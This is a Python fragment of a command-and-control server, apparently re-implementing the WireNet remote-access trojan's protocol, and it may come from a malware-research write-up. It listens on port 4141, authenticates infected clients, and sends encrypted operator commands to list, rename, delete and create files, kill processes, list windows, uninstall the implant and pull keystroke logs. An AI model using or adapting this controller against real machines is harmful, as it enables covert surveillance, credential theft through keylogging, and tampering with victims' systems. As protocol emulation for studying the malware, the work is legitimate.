## Encrypt payload then call send_server_packet to build & send the packet
def send_server_command(server_command, conn):
global client_iv
global server_key
# stop command
if server_command == 7:
server_payload = b''
# reconnect command
if server_command == 8:
server_payload = b''
# uninstall command
if server_command == 9:
server_payload = b''
# directory listing command
elif server_command == 12:
path_to_list = input("Enter a path: ")
server_payload = bytes(path_to_list, 'ascii')
# file renaming command
elif server_command == 22:
old_name = input("Enter old file name: ")
new_name = input("Enter new file name: ")
server_payload = bytes(old_name, 'ascii') + b'\x07' + bytes(new_name, 'ascii') + b'\x07'
# file deletion command
elif server_command == 23:
file_to_delete = input("Enter a file: ")
server_payload = file_to_delete
# directory creation command
elif server_command == 24:
dir_to_create = input("Enter a path: ")
server_payload = bytes(dir_to_create, 'ascii')
# client request command
elif server_command == 32:
server_payload = b''
# get session info command
elif server_command == 34:
server_payload = b''
# process listing command
elif server_command == 36:
server_payload = b''
# process killing command
elif server_command == 38:
pid_to_kill = input("Enter a pid: ")
server_payload = bytes(pid_to_kill, 'ascii')
# windows listing command
elif server_command == 39:
server_payload = b''
# keystroke log command
elif server_command == 53:
server_payload = b''
else:
server_payload = b''
# encrypt the command-specific payload
encrypted_server_request = aes_encrypt_packet(server_key, client_iv, server_payload)
# build the packet from its encrypted payload and command then send it
send_server_packet(conn, server_command, encrypted_server_request)
def run_c2_wirenet():
global authenticated
# Start to listen
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 4141))
s.listen(5)
while True:
authenticated = False
conn, addr = s.accept()
conn.setblocking(True)
# Someone said hello
print("New connection from %s\n" % addr[0])
while True:
# receive incoming packet
packet = conn.recv(16384)
if not packet:
print("no data received")
break
# perform consistency check
(packet_request_type, packet) = client_packet_consistency_check(conn, packet)
if packet_request_type != -1:
print("received packet %r (%r)" %(packet_request_type, client_type_dict[packet_request_type]) )
# process the client packet
client_packet_process(conn, packet)
# once authenticated, wait for an operator command
if authenticated == True:
command_str = input("Enter a command: ")
if command_str == 'h':
usage()
else:
command = int(command_str)
if is_server_type_allowed(command) == True:
send_server_command(command, conn)
print("closing connection")
conn.close()
print("stopping C2")
def main():
run_c2_wirenet()
if __name__ == "__main__":
main()
that’s all folk!